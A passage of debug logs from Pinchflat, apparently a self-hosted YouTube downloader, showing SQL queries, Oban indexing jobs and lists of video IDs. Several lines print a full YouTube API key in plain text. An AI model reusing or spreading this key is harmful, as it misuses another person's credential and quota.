"uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 17:35:24.429 [debug] QUERY OK source="media_items" db=0.5ms idle=249.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:35:24.429 [debug] QUERY OK source="tasks" db=0.1ms idle=250.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268499, 33, ~U[2026-10-09 22:35:24Z], ~U[2026-10-09 22:35:24Z]] 17:35:24.430 [info] {"args":{"id":33},"id":5268459,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":466615,"event":"job:stop","queue_time":565417,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.436 [info] {"args":{"id":46},"id":5268461,"meta":{},"system_time":1791585324436192913,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.436 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 17:35:24.436 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.436 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:24.437 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.437 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 17:35:24.437 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.437 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:24.599 [debug] QUERY OK source="media_items" db=0.7ms idle=162.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 17:35:24.600 [debug] QUERY OK source="media_items" db=0.3ms idle=163.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:35:24.601 [debug] QUERY OK source="tasks" db=0.1ms idle=164.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268500, 39, ~U[2026-10-09 22:35:24Z], ~U[2026-10-09 22:35:24Z]] 17:35:24.601 [info] {"args":{"id":39},"id":5268460,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":423313,"event":"job:stop","queue_time":561256,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.758 [debug] QUERY OK source="media_items" db=0.5ms idle=157.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 17:35:24.759 [debug] QUERY OK source="media_items" db=0.2ms idle=157.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 17:35:24.760 [debug] QUERY OK source="tasks" db=0.1ms idle=152.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268501, 46, ~U[2026-10-09 22:35:24Z], ~U[2026-10-09 22:35:24Z]] 17:35:24.760 [info] {"args":{"id":46},"id":5268461,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":324266,"event":"job:stop","queue_time":671164,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.964 [info] {"args":{"id":47},"id":5268462,"meta":{},"system_time":1791585324964325854,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.964 [info] {"args":{"id":32},"id":5268463,"meta":{},"system_time":1791585324964364397,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.964 [debug] QUERY OK source="sources" db=0.1ms idle=204.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 17:35:24.964 [debug] QUERY OK source="sources" db=0.2ms idle=203.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:35:24.964 [debug] QUERY OK source="settings" db=0.1ms idle=197.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:24.965 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:24.965 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 17:35:24.965 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:35:24.965 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:24.965 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:25.105 [debug] QUERY OK source="media_items" db=0.6ms idle=139.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 17:35:25.106 [debug] QUERY OK source="media_items" db=0.3ms idle=140.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 17:35:25.107 [debug] QUERY OK source="tasks" db=0.1ms idle=141.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268502, 47, ~U[2026-10-09 22:35:25Z], ~U[2026-10-09 22:35:25Z]] 17:35:25.107 [info] {"args":{"id":47},"id":5268462,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":143092,"event":"job:stop","queue_time":1001547,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.113 [info] {"args":{"id":24},"id":5268464,"meta":{},"system_time":1791585325113225323,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.113 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:35:25.113 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.113 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:25.114 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.114 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:35:25.114 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.114 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:25.340 [debug] QUERY OK source="media_items" db=0.8ms idle=225.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 17:35:25.342 [debug] QUERY OK source="media_items" db=1.3ms idle=227.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 